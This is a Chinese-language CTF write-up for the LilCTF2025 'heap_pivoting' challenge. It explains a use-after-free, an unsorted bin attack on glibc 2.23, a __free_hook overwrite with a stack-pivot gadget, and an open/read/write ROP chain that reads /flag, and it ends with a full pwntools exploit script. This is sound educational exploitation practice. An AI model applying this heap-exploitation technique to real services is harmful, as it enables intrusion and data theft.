LilCTF2025 heap_pivoting WP
理解程序:

64位开启了NX IDA64打开

是静态链接,标记一下函数,并且导入签名文件恢复部分符号表
先看add函数:

申请固定大小的0x100的堆,并且将堆的指针存在heap_array全局变量中
edit函数:

正常的编辑
delete函数:

没有对free的指针清零,存在UAF漏洞
没有show函数 而且开启了沙箱禁用execve:

同时题目说明了是libc2.23,那么就可以利用free hook来执行rop,execve被禁用所以执行orw的rop;同时存在UAF漏洞,利用unsorted bin attack来把top chunk改为heap_addr的地址,利用main_arena+88实现任意地址写
利用
unsorted bin attack部分:
1 2 3 4 5 6 7 8
| add(0, b'aaa') add(1, b'aaa') delete(0) payload = p64(0) + p64(heap_array - 0x10) edit(0, payload) add(2, b'ccc') payload = p64(heap_array) + p64(0) + p64(0x6ca858) * 2 edit(0, payload)
|
add(2,b’aaa’)后就已经将chunk0该为main_arena+88的位置了,此时chunk0和chunk2指向同一地址
接下来是将top chunk改为heap_array地址,因为main_arena+88的位置放置了 top_chunk_addr,unsortbins 数量和两个 top_chunk_check 指针,所以要按照代码的payload来布置
freehook和rop部分:
在静态链接且没有符号表的时候找freehook可以利用free函数的逻辑找:

这个函数符合freehook的逻辑 就是free hook
同时有一个gadget可以将rdi与rsp互换实现栈迁移:

将该gadget覆盖freehook 再free掉存储rop的chunk就能实现orw
总exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * context(os='linux', arch='amd64', log_level='debug') p = process('./heap_pivoting')
def add(index, message): p.sendlineafter(b"choice:\n", b'1') p.sendlineafter(b'idx:', str(index)) p.sendlineafter(b'say\n' , message)
def delete(index): p.sendlineafter(b'choice:\n' , b'2') p.sendlineafter(b'idx:' , str(index))
def edit(index,message): p.sendlineafter(b'choice:\n' , b'3') p.sendlineafter(b'idx:' , str(index)) p.sendlineafter(b'context: ' , message)
gdb.attach(p, "set glibc 2.23")
heap_array = 0x6CCD60 free_hook = 0x6CC5E8 xchg = 0x4b8fb8 rdi_addr = 0x0000000000401a16 rsi_addr = 0x0000000000401b37 rax_addr = 0x000000000041fc84 rdx_addr = 0x0000000000443136 syscall = 0x00000000004678e5 bss = 0x6cce40 flag=0x6ccd78
add(0, b'aaa') add(1, b'aaa') delete(0) payload = p64(0) + p64(heap_array - 0x10) edit(0, payload) add(2, b'ccc') payload = p64(heap_array) + p64(0) + p64(0x6ca858) * 2 edit(0, payload)
add(0, p64(heap_array) * 3) edit(2, p64(heap_array + 0x8) + p64(heap_array + 0x10) + p64(0) * 4) edit(0, p64(free_hook) + p64(bss) + b'/flag\x00\x00') edit(1, p64(xchg)) payload1 = p64(rdi_addr) + p64(flag) + p64(rsi_addr) + p64(0) + p64(rdx_addr) + p64(0) + p64(rax_addr) + p64(2) + p64(syscall) payload1 += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(0x6CBBA0) +p64(rdx_addr) + p64(0x60) + p64(rax_addr) + p64(0) + p64(syscall) payload1 += p64(rdi_addr) + p64(1) + p64(rax_addr) + p64(1) + p64(syscall)
edit(2, payload1) delete(2) p.interactive()
|